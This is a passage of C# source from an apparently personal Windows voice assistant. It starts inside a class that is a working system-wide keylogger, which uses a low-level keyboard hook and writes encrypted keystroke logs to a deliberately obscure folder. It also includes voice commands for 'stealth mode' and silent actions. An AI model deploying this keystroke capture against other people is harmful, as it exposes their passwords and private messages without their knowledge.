private const int WM_KEYUP = 0x0101; // Key up message
private const int WM_SYSKEYUP = 0x0105; // System key up message
// Virtual key codes for GetKeyState
private const int VK_SHIFT = 0x10; // Shift key
private const int VK_CAPITAL = 0x14; // Caps Lock key
private const int VK_LSHIFT = 0xA0; // Left Shift key
private const int VK_RSHIFT = 0xA1; // Right Shift key
#endregion
#region Private Fields
private LowLevelKeyboardProc _proc; // Delegate for the low-level keyboard hook callback
private IntPtr _hookID = IntPtr.Zero; // Handle to the keyboard hook
private string _logFilePath; // Path to the log file
private readonly System.Windows.Forms.Timer _flushTimer; // Timer to flush the key buffer to file
private readonly StringBuilder _keyBuffer = new StringBuilder(); // Buffer to store keystrokes
private readonly object _bufferLock = new object(); // Lock for thread-safe buffer access
private bool _isLogging = false; // Flag to indicate if logging is active
private bool _disposed = false; // To track if Dispose has been called
private readonly FileSecurityService _fileSecurityService; // Dependency for file operations
#endregion
#region Dll Imports
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId); // Install a hook procedure
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk); // Remove a hook procedure
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam); // Pass the hook information to the next hook procedure in the chain
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName); // Get a module handle
[DllImport("user32.dll")]
private static extern short GetKeyState(int nVirtKey); // Retrieves the status of the specified virtual key
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam); // Delegate type for the low-level keyboard hook callback
#endregion
#region Constructor
// Modified constructor to accept FileSecurityService
public Oracle(FileSecurityService fileSecurityService)
{
_fileSecurityService = fileSecurityService ?? throw new ArgumentNullException(nameof(fileSecurityService)); // Initialize the file security service and ensure it's not null
InitializeLogFile(); // Initialize the log file path
_flushTimer = new System.Windows.Forms.Timer
{
Interval = 5000 // Flush every 5 seconds
};
_flushTimer.Tick += FlushBufferToFile; // Subscribe to the Tick event to flush the buffer
_flushTimer.Stop(); // Ensure timer is stopped initially
}
#endregion
#region Public Methods
public void StartLogging()
{
if (_isLogging)
{
Debug.WriteLine("Keylogger is already logging.");
return;
}
_proc = HookCallback; // Assign the hook callback delegate
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
_hookID = SetWindowsHookEx(WH_KEYBOARD_LL, _proc, GetModuleHandle(curModule.ModuleName), 0); // Install the low-level keyboard hook
if (_hookID == IntPtr.Zero)
{
int errorCode = Marshal.GetLastWin32Error(); // Get the last Win32 error code
throw new System.ComponentModel.Win32Exception(errorCode, $"Failed to install keyboard hook. Error Code: {errorCode}"); // Throw an exception with the error code
}
}
_isLogging = true; // Set logging flag to true
_flushTimer.Start(); // Start the flush timer
Debug.WriteLine("Keylogger started.");
WriteToLogFile("Keylogger started at " + DateTime.Now.ToString() + Environment.NewLine); // Log the start time
}
public void StopLogging()
{
if (!_isLogging)
{
Debug.WriteLine("Keylogger is not active.");
return;
}
// Attempt to unhook the keyboard hook
bool unhooked = UnhookWindowsHookEx(_hookID);
if (!unhooked)
{
int errorCode = Marshal.GetLastWin32Error(); // Get the last Win32 error code
Debug.WriteLine($"Failed to uninstall keyboard hook. Error Code: {errorCode}"); // Log the error code
}
_hookID = IntPtr.Zero; // Reset hook ID to indicate it's no longer active
_isLogging = false; // Set logging flag to false
_flushTimer.Stop(); // Stop the flush timer
FlushBufferToFile(null, null); // Flush any remaining buffered keys immediately
Debug.WriteLine("Keylogger stopped.");
WriteToLogFile(Environment.NewLine + "Keylogger stopped at " + DateTime.Now.ToString() + Environment.NewLine); // Log the stop time
}
// Add a property to check if logging is active
public bool IsLogging
{
get { return _isLogging; }
}
public static int VK_SHIFT1 => VK_SHIFT; // Static property to access the VK_SHIFT constant
#endregion
#region Private Methods
private void InitializeLogFile()
{
// Use LocalApplicationData for a more secure and less obvious location
string appDataPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); // Get the local application data path
string logDirectory = Path.Combine(appDataPath, "Freya", "SystemLogs"); // Obscure path for log files
try
{
if (!Directory.Exists(logDirectory))
{
Directory.CreateDirectory(logDirectory); // Create the log directory if it doesn't exist
}
string timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss"); // Generate a timestamp for the log file
// Changed file extension to .enc to indicate encryption
_logFilePath = Path.Combine(logDirectory, $"Keylog_{timestamp}.enc"); // Set the log file path with the timestamp
Debug.WriteLine($"Keylogger log file path: {_logFilePath}"); // Log the log file path
}
catch (Exception ex)
{
Debug.WriteLine($"Error initializing log file path: {ex.Message}"); // Log the error
_logFilePath = Path.Combine(Path.GetTempPath(), $"Keylog_Fallback_{DateTime.Now:yyyyMMdd_HHmmss}.enc"); // Fallback to temporary path
Debug.WriteLine($"Falling back to temporary log file: {_logFilePath}"); // Log the fallback path
}
}
private IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
// Process the hook if nCode is valid and it's a key event
if (nCode >= 0 && (wParam == (IntPtr)WM_KEYDOWN || wParam == (IntPtr)WM_SYSKEYDOWN ||
wParam == (IntPtr)WM_KEYUP || wParam == (IntPtr)WM_SYSKEYUP))
{
int vkCode = Marshal.ReadInt32(lParam); // Read the virtual key code from lParam
Keys key = (Keys)vkCode; // Convert the virtual key code to a Keys enum
string keyText = string.Empty; // Variable to store the readable key text
// Handle Key Down events
if (wParam == (IntPtr)WM_KEYDOWN || wParam == (IntPtr)WM_SYSKEYDOWN)
{
keyText = ConvertKeyToReadableString(key); // Convert the key to a readable string
}
// Handle Key Up events
else if (wParam == (IntPtr)WM_KEYUP || wParam == (IntPtr)WM_SYSKEYUP)
{
// You can choose to log key up events differently, or not at all.
// For example, you might want to mark them as "[KEY_UP: <Key>]"
// keyText = $"[KEY_UP:{key}]"; // Uncomment if you want to log key ups
}
if (!string.IsNullOrEmpty(keyText))
{
lock (_bufferLock)
{
_keyBuffer.Append(keyText); // Append the readable key text to the buffer
}
}
}
return CallNextHookEx(_hookID, nCode, wParam, lParam); // Pass the hook information to the next hook procedure in the chain
}
private string ConvertKeyToReadableString(Keys key)
{
// Handle special keys
switch (key)
{
case Keys.Return: return "[ENTER]"; // Return key
case Keys.Space: return " "; // Space key
case Keys.Tab: return "[TAB]"; // Tab key
case Keys.Back: return "[BACKSPACE]"; // Backspace key
case Keys.LControlKey:
case Keys.RControlKey: return "[CTRL]"; // Control key
case Keys.LShiftKey:
case Keys.RShiftKey: return "[SHIFT]"; // Shift key
case Keys.LMenu:
case Keys.RMenu: return "[ALT]"; // Alt key
case Keys.CapsLock: return "[CAPS LOCK]"; // Caps Lock key
case Keys.Escape: return "[ESC]"; // Escape key
case Keys.Delete: return "[DEL]"; // Delete key
case Keys.Insert: return "[INS]"; // Insert key
case Keys.Home: return "[HOME]"; // Home key
case Keys.End: return "[END]"; // End key
case Keys.PageUp: return "[PAGE UP]"; // Page Up key
case Keys.PageDown: return "[PAGE DOWN]"; // Page Down key
case Keys.PrintScreen: return "[PRTSC]"; // Print Screen key
case Keys.Scroll: return "[SCROLL LOCK]"; // Scroll Lock key
case Keys.Pause: return "[PAUSE]"; // Pause key
case Keys.NumLock: return "[NUMLOCK]"; // Num Lock key
case Keys.Divide: return "/"; // Divide key
case Keys.Multiply: return "*"; // Multiply key
case Keys.Subtract: return "-"; // Subtract key
case Keys.Add: return "+"; // Add key
case Keys.Decimal: return "."; // Decimal key
case Keys.Clear: return "[CLEAR]"; // Clear key
case Keys.Oemtilde: return IsShiftPressed() ? "~" : "`"; // Tilde key
case Keys.OemOpenBrackets: return IsShiftPressed() ? "{" : "["; // Open bracket key
case Keys.OemCloseBrackets: return IsShiftPressed() ? "}" : "]"; // Close bracket key
case Keys.OemSemicolon: return IsShiftPressed() ? ":" : ";"; // Semicolon key
case Keys.OemQuotes: return IsShiftPressed() ? "\"" : "'"; // Quote key
case Keys.Oemcomma: return IsShiftPressed() ? "<" : ","; // Comma key
case Keys.OemPeriod: return IsShiftPressed() ? ">" : "."; // Period key
case Keys.OemQuestion: return IsShiftPressed() ? "?" : "/"; // Question mark key
case Keys.OemBackslash: return IsShiftPressed() ? "|" : "\\"; // Backslash key
case Keys.OemMinus: return IsShiftPressed() ? "_" : "-"; // Minus key
case Keys.Oemplus: return IsShiftPressed() ? "+" : "="; // Plus key
case Keys.BrowserBack: return "[BrowserBack]"; // Browser back key
case Keys.BrowserForward: return "[BrowserForward]"; // Browser forward key
case Keys.BrowserRefresh: return "[BrowserRefresh]"; // Browser refresh key
case Keys.BrowserStop: return "[BrowserStop]"; // Browser stop key
case Keys.BrowserSearch: return "[BrowserSearch]"; // Browser search key
case Keys.BrowserFavorites: return "[BrowserFavorites]"; // Browser favorites key
case Keys.BrowserHome: return "[BrowserHome]"; // Browser home key
case Keys.VolumeMute: return "[VolumeMute]"; // Volume mute key
case Keys.VolumeDown: return "[VolumeDown]"; // Volume down key
case Keys.VolumeUp: return "[VolumeUp]"; // Volume up key
case Keys.MediaNextTrack: return "[NextTrack]"; // Media next track key
case Keys.MediaPreviousTrack: return "[PreviousTrack]"; // Media previous track key
case Keys.MediaStop: return "[MediaStop]"; // Media stop key
case Keys.MediaPlayPause: return "[Play/Pause]"; // Media play/pause key
case Keys.LaunchMail: return "[LaunchMail]"; // Launch mail key
case Keys.SelectMedia: return "[SelectMedia]"; // Select media key
case Keys.LaunchApplication1: return "[LaunchApp1]"; // Launch application 1 key
case Keys.LaunchApplication2: return "[LaunchApp2]"; // Launch application 2 key
// Numeric keys with shift for symbols
case Keys.D0: return IsShiftPressed() ? ")" : "0"; // 0 key
case Keys.D1: return IsShiftPressed() ? "!" : "1"; // 1 key
case Keys.D2: return IsShiftPressed() ? "@" : "2"; // 2 key
case Keys.D3: return IsShiftPressed() ? "#" : "3"; // 3 key
case Keys.D4: return IsShiftPressed() ? "$" : "4"; // 4 key
case Keys.D5: return IsShiftPressed() ? "%" : "5"; // 5 key
case Keys.D6: return IsShiftPressed() ? "^" : "6"; // 6 key
case Keys.D7: return IsShiftPressed() ? "&" : "7"; // 7 key
case Keys.D8: return IsShiftPressed() ? "*" : "8"; // 8 key
case Keys.D9: return IsShiftPressed() ? "(" : "9"; // 9 key
}
// Handle letters (A-Z) - make them uppercase if Shift or CapsLock is active
if (key >= Keys.A && key <= Keys.Z)
{
return (IsShiftPressed() || IsCapsLockOn()) ? key.ToString().ToUpper() : key.ToString().ToLower(); // Convert to uppercase or lowercase based on key state
}
// Handle F-keys (F1-F24)
if (key >= Keys.F1 && key <= Keys.F24)
{
return "[" + key.ToString() + "]"; // Enclose F-keys in brackets
}
// Handle numeric keypad keys
if (key >= Keys.NumPad0 && key <= Keys.NumPad9)
{
return (key - Keys.NumPad0).ToString(); // Convert NumPad key to its digit
}
// For other keys, just return their string representation.
return key.ToString(); // Convert key to its string representation
}
private bool IsShiftPressed()
{
// Check if either left or right shift is pressed
return (GetKeyState(VK_LSHIFT) & 0x8000) != 0 || (GetKeyState(VK_RSHIFT) & 0x8000) != 0; // Check shift key state
}
private bool IsCapsLockOn()
{
// Check if Caps Lock is toggled on
return (GetKeyState(VK_CAPITAL) & 0x0001) != 0; // Check Caps Lock state
}
private void FlushBufferToFile(object sender, EventArgs e)
{
string textToFlush;
lock (_bufferLock)
{
if (_keyBuffer.Length == 0) return; // Exit if buffer is empty
textToFlush = _keyBuffer.ToString(); // Get the text from the buffer
_keyBuffer.Clear(); // Clear the buffer
}
WriteToLogFile(textToFlush); // Write the text to the log file
}
private void WriteToLogFile(string text)
{
const int maxRetries = 3; // Maximum number of retry attempts
const int retryDelayMs = 1000; // Delay between retries in milliseconds (1 second)
for (int i = 0; i < maxRetries; i++)
{
try
{
// Use the FileSecurityService to append encrypted text
_fileSecurityService.AppendEncryptedText(_logFilePath, text); // Append encrypted text to the log file
return; // Success, exit method
}
catch (IOException ex)
{
Debug.WriteLine($"Error writing to log file (Attempt {i + 1}/{maxRetries}): {ex.Message}"); // Log the error
if (i < maxRetries - 1)
{
Thread.Sleep(retryDelayMs); // Wait before retrying
}
else
{
Debug.WriteLine("All retries failed. Key data may not have been logged."); // Log all retries failed
}
}
catch (Exception ex)
{
Debug.WriteLine($"An unexpected error occurred while writing to log file: {ex.Message}"); // Log unexpected error
break;
}
}
}
#endregion
#region IDisposable Implementation
public void Dispose()
{
Dispose(true); // Call the protected Dispose method
GC.SuppressFinalize(this); // Suppress finalization to prevent double disposal
}
protected virtual void Dispose(bool disposing)
{
if (_disposed)
{
return; // Exit if already disposed
}
if (disposing)
{
Debug.WriteLine("Disposing managed resources...");
StopLogging(); // Ensure the hook is uninstalled and buffer flushed
_flushTimer.Dispose(); // Dispose the timer
// No need to dispose _fileSecurityService here if it's managed by the caller
// or if it's a singleton/static instance. If Oracle created it, then dispose it here.
}
_disposed = true; // Set disposed flag to true
Debug.WriteLine("Oracle instance disposed.");
}
~Oracle()
{
Dispose(false); // Call the protected Dispose method with false to indicate finalizer disposal
}
#endregion
}
}
using System;
using System.Diagnostics;
using System.IO;
using System.Media;
using System.Runtime.InteropServices;
using System.Speech.Recognition;
using System.Speech.Synthesis;
using System.Threading;
using System.Windows.Forms;
using System.Collections.Generic;
namespace Freya
{
public class SpeechCommands
{
#region Private Fields
private readonly FileSecurityService _fileSecurityService; // Service for file encryption and decryption
private readonly Form _mainForm; // Main form of the application
private readonly PictureBox _pictureBox; // PictureBox control on the form
private readonly string _availableCommandsMessage; // Message containing available commands
private readonly Oracle _keylogger; // Keylogger instance for recording keystrokes
private bool _isSilentModeActive = false; // Flag to indicate if silent mode is active
private readonly SpeechSynthesizer _synth; // Synthesizer for text-to-speech
#endregion
#region Dll Imports
[DllImport("user32.dll")]
private static extern bool SetForegroundWindow(IntPtr hWnd); // Brings the window with the specified handle to the foreground
[DllImport("user32.dll")]
private static extern void keybd_event(byte bVk, byte bScan, uint dwFlags, UIntPtr dwExtraInfo); // Simulates a key press or release
[DllImport("shell32.dll")]
static extern int SHEmptyRecycleBin(IntPtr hwnd, string pszRootPath, RecycleFlags dwFlags); // Empties the recycling bin
private const byte VK_VOLUME_MUTE = 0xAD; // Virtual key code for mute volume
private const byte VK_VOLUME_DOWN = 0xAE; // Virtual key code for volume down
private const byte VK_VOLUME_UP = 0xAF; // Virtual key code for volume up
private const byte VK_MEDIA_PLAY_PAUSE = 0xB3; // Virtual key code for play/pause media
private const byte VK_MEDIA_STOP = 0xB2; // Virtual key code for stop media
private const byte VK_MEDIA_NEXT_TRACK = 0xB0; // Virtual key code for next track
private const byte VK_MEDIA_PREV_TRACK = 0xB1; // Virtual key code for previous track
private const uint KEYEVENTF_KEYUP = 0x0002; // Flag to indicate the key is being released
[Flags]
enum RecycleFlags : int
{
SHERB_NOCONFIRMATION = 0x00000001, // Do not ask for confirmation
SHERB_NOPROGRESSUI = 0x00000002, // Do not show progress UI
SHERB_NOSOUND = 0x00000004 // Do not play sound
}
#endregion
#region Constructor
public SpeechCommands(FileSecurityService fileSecurityService, Form mainForm, PictureBox pictureBox)
{
// Play startup sound on a new thread
new Thread(() =>
{
using (SoundPlayer player = new SoundPlayer(Properties.Resources._0529)) // Load the startup sound resource
{
player.PlaySync(); // Play the sound synchronously
}
}).Start();
_fileSecurityService = fileSecurityService; // Initialize the file security service
_mainForm = mainForm; // Initialize the main form
_pictureBox = pictureBox; // Initialize the PictureBox
_keylogger = new Oracle(_fileSecurityService); // Initialize the keylogger with the file security service
// Initialize SpeechSynthesizer
_synth = new SpeechSynthesizer(); // Create a new speech synthesizer
_synth.SetOutputToDefaultAudioDevice(); // Set output to default speaker
var commands = new List<string>
{
// Existing commands
"search", "open documents", "open downloads", "open pictures", "open videos",
"open music", "open desktop", "open control panel", "open task manager",
"run disk cleanup", "open visual studio", "open notepad", "magnify", "less",
"open bluetooth settings", "open other device settings", "stop recording",
"encrypt files", "decrypt files", "encrypt directory", "decrypt directory",
"show commands", "exit application", "close window", "new tab", "switch tab",
"page up", "page down", "shut down", "stealth mode", "come back",
"restart computer", "sleep computer", "lock computer", "mute volume",
"volume up", "volume down", "play pause media", "stop media",
"next track", "previous track", "open calculator", "open paint",
"take screenshot", "open settings", "open network settings", "show desktop",
"minimize all windows", "maximize window", "empty recycling bin",
"record keystrokes", "toggle silent mode",
"open powershell"
};
_availableCommandsMessage = "Available Commands:\n\n" + string.Join(Environment.NewLine, commands); // Create a message listing all available commands
}
#endregion
#region Public Methods
public Grammar CreateGrammar()
{
Choices commands = new Choices(); // Create a new Choices object to hold the commands
commands.Add(new string[]
{
// Existing commands
"search", "open documents", "open downloads", "open pictures", "open videos",
"open music", "open desktop", "open control panel", "open task manager",
"run disk cleanup", "open visual studio", "open notepad", "new tab",
"open bluetooth settings", "open other device settings", "switch tab",
"encrypt files", "decrypt files", "encrypt directory", "decrypt directory",
"show commands", "exit application", "close window", "magnify", "less",
"page up", "page down", "shut down", "stealth mode", "come back",
"restart computer", "sleep computer", "lock computer", "mute volume",
"volume up", "volume down", "play pause media", "stop media",
"next track", "previous track", "open calculator", "open paint",
"take screenshot", "open settings", "open network settings", "show desktop",
"minimize all windows", "maximize window", "empty recycling bin",
"record keystrokes", "stop recording", "toggle silent mode",
"open powershell"
});
GrammarBuilder gb = new GrammarBuilder(); // Create a new GrammarBuilder object
gb.Append(commands); // Append the commands to the grammar builder
return new Grammar(gb); // Return a new Grammar object based on the grammar builder
}
public void ExecuteCommand(string command, Form currentForm)
{
// Play sound only if silent mode is NOT active
if (!_isSilentModeActive)
{
switch (command)
{
case "search": new SoundPlayer(Properties.Resources.opening_bing).Play(); break; // Play sound for "search" command
case "open documents": new SoundPlayer(Properties.Resources.retrieving_documents).Play(); break; // Play sound for "open documents" command
case "open downloads": new SoundPlayer(Properties.Resources.downloads).Play(); break; // Play sound for "open downloads" command
case "open pictures": new SoundPlayer(Properties.Resources.pics).Play(); break; // Play sound for "open pictures" command
case "open videos": new SoundPlayer(Properties.Resources.videos).Play(); break; // Play sound for "open videos" command
case "open music": new SoundPlayer(Properties.Resources.music).Play(); break; // Play sound for "open music" command
case "open desktop": new SoundPlayer(Properties.Resources.desktop).Play(); break; // Play sound for "open desktop" command
case "open control panel": new SoundPlayer(Properties.Resources.as_you_wish).Play(); break; // Play sound for "open control panel" command
case "open task manager": new SoundPlayer(Properties.Resources.task_manager).Play(); break; // Play sound for "open task manager" command
case "run disk cleanup": new SoundPlayer(Properties.Resources.disk_cleanup).Play(); break; // Play sound for "run disk cleanup" command
case "open visual studio": new SoundPlayer(Properties.Resources.visual).Play(); break; // Play sound for "open visual studio" command
case "open notepad": new SoundPlayer(Properties.Resources.notepad).Play(); break; // Play sound for "open notepad" command
case "open bluetooth settings": new SoundPlayer(Properties.Resources.bluetooth).Play(); break; // Play sound for "open bluetooth settings" command
case "open other device settings": new SoundPlayer(Properties.Resources.device_settings).Play(); break; // Play sound for "open other device settings" command
case "encrypt files":
case "encrypt directory": new SoundPlayer(Properties.Resources.AES).Play(); break; // Play sound for "encrypt files" and "encrypt directory" commands
case "decrypt directory": new SoundPlayer(Properties.Resources.decrypt).Play(); break; // Play sound for "decrypt directory" command
case "open powershell": new SoundPlayer(Properties.Resources.shell).Play(); break; // Play sound for "open powershell" command
case "show commands": new SoundPlayer(Properties.Resources.commands).Play(); break; // Play sound for "show commands" command
case "exit application": new SoundPlayer(Properties.Resources.as_you_wish_Justin).Play(); break; // Play sound for "exit application" command
case "come back": new SoundPlayer(Properties.Resources.come_back).Play(); break; // Play sound for "come back" command
case "page up": new SoundPlayer(Properties.Resources.whoosh).Play(); break; // Play sound for "page up" command
case "page down": new SoundPlayer(Properties.Resources.whoosh).Play(); break; // Play sound for "page down" command
case "shut down": new SoundPlayer(Properties.Resources.shut_down).Play(); break; // Play sound for "shut down" command
case "stealth mode": new SoundPlayer(Properties.Resources.stealth).Play(); break; // Play sound for "stealth mode" command
case "restart computer": new SoundPlayer(Properties.Resources.restart).Play(); break; // Play sound for "restart computer" command
case "sleep computer": new SoundPlayer(Properties.Resources.sleep).Play(); break; // Play sound for "sleep computer" command
case "lock computer": new SoundPlayer(Properties.Resources._lock).Play(); break; // Play sound for "lock computer" command
case "mute volume": new SoundPlayer(Properties.Resources.as_you_wish).Play(); break; // Play sound for "mute volume" command
}
}
switch (command)
{
case "search":
LaunchUrl("https://www.bing.com", _isSilentModeActive); // Launch Bing search
Thread.Sleep(1500); // Wait for Bing to load
SendKeys.SendWait("{TAB}"); // Move focus to the search bar
SendKeys.SendWait("{ENTER}"); // Activate search
break;
case "open documents":
LaunchFolder(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments), _isSilentModeActive); // Open Documents folder
break;
case "open downloads":
LaunchFolder(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.UserProfile), "Downloads"), _isSilentModeActive); // Open Downloads folder
break;
case "open pictures":
LaunchFolder(Environment.GetFolderPath(Environment.SpecialFolder.MyPictures), _isSilentModeActive); // Open Pictures folder
break;
case "open videos":
LaunchFolder(Environment.GetFolderPath(Environment.SpecialFolder.MyVideos), _isSilentModeActive); // Open Videos folder
break;
case "open music":
LaunchFolder(Environment.GetFolderPath(Environment.SpecialFolder.MyMusic), _isSilentModeActive); // Open Music folder
break;
case "open desktop":
LaunchFolder(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), _isSilentModeActive); // Open Desktop folder
break;
case "open control panel":
LaunchApplication("control.exe", _isSilentModeActive); // Open Control Panel
break;
case "open task manager":
LaunchApplication("taskmgr.exe", _isSilentModeActive); // Open Task Manager
break;
case "run disk cleanup":
LaunchApplication("cleanmgr.exe", _isSilentModeActive); // Open Disk Cleanup
break;
case "open visual studio":
LaunchApplication("devenv.exe", _isSilentModeActive); // Open Visual Studio
break;
case "open notepad":
LaunchApplication("notepad.exe", _isSilentModeActive); // Open Notepad
break;
case "open bluetooth settings":
LaunchUrl("ms-settings:bluetooth", _isSilentModeActive); // Open Bluetooth settings
break;
case "open other device settings":
LaunchUrl("ms-settings:connecteddevices", _isSilentModeActive); // Open Other Device settings
break;
case "encrypt files":
case "encrypt directory":
HandleFileSecurityDialog(currentForm, true); // Encrypt files or directory
break;
case "decrypt files":
case "decrypt directory":
HandleFileSecurityDialog(currentForm, false); // Decrypt files or directory
break;
case "show commands":
ShowAvailableCommands(currentForm); // Show available commands
break;
case "exit application":
Thread.Sleep(1500); // Wait before exiting
Application.Exit(); // Exit the application
break;
case "close window":
ToggleStealthMode(hide: true); // Hide the form
SendKeys.Send("%{F4}"); // Simulate pressing Alt+F4 to close the active window
Debug.WriteLine("Disparta command executed: Main form hidden, active window/tab closed.");
break;
case "come back":
ToggleStealthMode(hide: false); // Show the form
break;
case "page up":
SendKeys.SendWait("{PGUP}"); // Simulate pressing Page Up
break;
case "page down":
SendKeys.SendWait("{PGDN}"); // Simulate pressing Page Down
break;
case "new tab":
SendKeys.SendWait("^{t}"); // Simulate pressing Ctrl+T to open a new tab
break;
case "switch tab":
SendKeys.SendWait("^{TAB}"); // Simulate pressing Ctrl+Tab to switch tabs
break;
case "magnify":
SendKeys.Send("^{+}"); // Simulate pressing Ctrl+Shift to magnify
break;
case "less":
SendKeys.Send("^{-}"); // Simulate pressing Ctrl+- to reduce magnification
break;
case "shut down":
ConfirmAndExecutePowerCommand(currentForm, "shutdown.exe", "/s /t 0", "shut down"); // Confirm and execute shutdown
break;
case "stealth mode":
ToggleStealthMode(null); // Toggle stealth mode
break;
case "restart computer":
ConfirmAndExecutePowerCommand(currentForm, "shutdown.exe", "/r /t 0", "restart"); // Confirm and execute restart
break;
case "sleep computer":
Application.SetSuspendState(PowerState.Suspend, false, false); // Put computer to sleep
Debug.WriteLine("Attempted to put computer to sleep.");
break;
case "lock computer":
Process.Start("rundll32.exe", "user32.dll,LockWorkStation"); // Lock the computer
Debug.WriteLine("Attempted to lock computer.");
break;
case "mute volume":
SimulateMediaKey(VK_VOLUME_MUTE); // Simulate mute volume key press
Debug.WriteLine("Mute volume command executed.");
break;
case "volume up":
SimulateMediaKey(VK_VOLUME_UP); // Simulate volume up key press
Debug.WriteLine("Volume up command executed.");
break;
case "volume down":
SimulateMediaKey(VK_VOLUME_DOWN); // Simulate volume down key press
Debug.WriteLine("Volume down command executed.");
break;
case "play pause media":
SimulateMediaKey(VK_MEDIA_PLAY_PAUSE); // Simulate play/pause media key press
Debug.WriteLine("Play/Pause media command executed.");
break;
case "stop media":
SimulateMediaKey(VK_MEDIA_STOP); // Simulate stop media key press
Debug.WriteLine("Stop media command executed.");
break;
case "next track":
SimulateMediaKey(VK_MEDIA_NEXT_TRACK); // Simulate next track key press
Debug.WriteLine("Next track command executed.");
break;
case "previous track":
SimulateMediaKey(VK_MEDIA_PREV_TRACK); // Simulate previous track key press
Debug.WriteLine("Previous track command executed.");
break;
case "open calculator":
LaunchApplication("calc.exe", _isSilentModeActive); // Open Calculator
break;
case "open paint":
LaunchApplication("mspaint.exe", _isSilentModeActive); // Open Paint
break;
case "take screenshot":
LaunchApplication("SnippingTool.exe", _isSilentModeActive); // Open Snipping Tool to take a screenshot
break;
case "open settings":
LaunchUrl("ms-settings:", _isSilentModeActive); // Open Settings
break;
case "open network settings":
LaunchUrl("ms-settings:network-status", _isSilentModeActive); // Open Network settings
break;
case "show desktop":
SendKeys.SendWait("{win}d"); // Simulate pressing Win+D to show the desktop
Debug.WriteLine("Show desktop command executed.");
break;
case "minimize all windows":
SendKeys.SendWait("{win}m"); // Simulate pressing Win+M to minimize all windows
Debug.WriteLine("Minimize all windows command executed.");
break;
case "maximize window":
SendKeys.SendWait("%{SPACE}x"); // Simulate pressing Alt+Space+X to maximize the window
Debug.WriteLine("Maximize window command executed.");
break;
case "empty recycling bin":
EmptyRecycleBinSilently(currentForm.Handle); // Empty the recycling bin silently
break;
case "record keystrokes":
if (!_keylogger.IsLogging)
{
_keylogger.StartLogging(); // Start keylogger
LogOrNotify(currentForm, "Keylogger started. Keystrokes are now being recorded.", "Keylogger Status"); // Notify user
}
else
{
LogOrNotify(currentForm, "Keylogger is already active.", "Keylogger Status"); // Notify user
}
break;
case "stop recording":
if (_keylogger.IsLogging)
{
_keylogger.StopLogging(); // Stop keylogger
LogOrNotify(currentForm, "Keylogger stopped. Keystroke recording has ended.", "Keylogger Status"); // Notify user
}
else
{
LogOrNotify(currentForm, "Keylogger is not currently active.", "Keylogger Status"); // Notify user
}
break;
case "toggle silent mode":
_isSilentModeActive = !_isSilentModeActive; // Toggle silent mode flag
LogOrNotify(currentForm, $"Silent mode is now: {(_isSilentModeActive ? "ON" : "OFF")}", "Silent Mode Toggle"); // Notify user
break;
case "open powershell":
OpenPowerShellAsAdmin(currentForm); // Open PowerShell as administrator
break;
default:
Debug.WriteLine($"Command not recognized: {command}. Launching default search."); // Log unrecognized command
LaunchUrl("https://www.bing.com", _isSilentModeActive); // Launch Bing search
Thread.Sleep(1500); // Wait for Bing to load
SendKeys.SendWait("{TAB}"); // Move focus to the search bar
SendKeys.SendWait("{ENTER}"); // Activate search
_mainForm.Invoke((MethodInvoker)delegate
{
LogOrNotify(currentForm, $"Command '{command}' not recognized. Opening Bing for search.", "Command Not Found", MessageBoxIcon.Information); // Notify user
});
break;
}
}
#endregion
#region Private Methods
private void LaunchUrl(string url, bool silent)
{
try
{
ProcessStartInfo psi = new ProcessStartInfo
{
FileName = url, // URL to launch
UseShellExecute = true // Use the default shell to execute the URL
};
if (silent)
{
psi.WindowStyle = ProcessWindowStyle.Hidden; // Hide the window
psi.CreateNoWindow = true; // Do not create a window
}
Process.Start(psi); // Start the process
Debug.WriteLine($"Attempted to launch URL: {url} (Silent: {silent})"); // Log the action
}
catch (Exception ex)
{
_mainForm.Invoke((MethodInvoker)delegate
{
LogOrNotify(_mainForm, $"Could not open URL: {ex.Message}", "Error launching URL", MessageBoxIcon.Error); // Notify user of error
});
Debug.WriteLine($"Error launching URL: {ex.Message}"); // Log the error
}
}
private void LaunchFolder(string path, bool silent)
{
try
{
ProcessStartInfo psi = new ProcessStartInfo
{
FileName = path, // Path of the folder to launch
UseShellExecute = true // Use the default shell to execute the folder
};
if (silent)
{
psi.WindowStyle = ProcessWindowStyle.Hidden; // Hide the window
psi.CreateNoWindow = true; // Do not create a window
}
Process.Start(psi); // Start the process
Debug.WriteLine($"Attempted to launch folder: {path} (Silent: {silent})"); // Log the action
}
catch (Exception ex)
{
_mainForm.Invoke((MethodInvoker)delegate
{
LogOrNotify(_mainForm, $"Could not open folder: {ex.Message}", "Error launching Folder", MessageBoxIcon.Error); // Notify user of error
});
Debug.WriteLine($"Error launching folder: {ex.Message}"); // Log the error
}
}
private void LaunchApplication(string appName, bool silent)
{
try
{
ProcessStartInfo psi = new ProcessStartInfo
{
FileName = appName, // Name of the application to launch
UseShellExecute = true // Use the default shell to execute the application
};
if (silent)
{
psi.WindowStyle = ProcessWindowStyle.Hidden; // Hide the window
psi.CreateNoWindow = true; // Do not create a window
}
Process.Start(psi); // Start the process
Debug.WriteLine($"Attempted to launch application: {appName} (Silent: {silent})"); // Log the action
}
catch (Exception ex)
{
_mainForm.Invoke((MethodInvoker)delegate
{
LogOrNotify(_mainForm, $"Application '{appName}' not found or could not be launched: {ex.Message}", "Application Launch Error", MessageBoxIcon.Error); // Notify user of error
});
Debug.WriteLine($"Error launching application '{appName}': {ex.Message}"); // Log the error
}
}
private void HandleFileSecurityDialog(Form currentForm, bool encrypt)
{
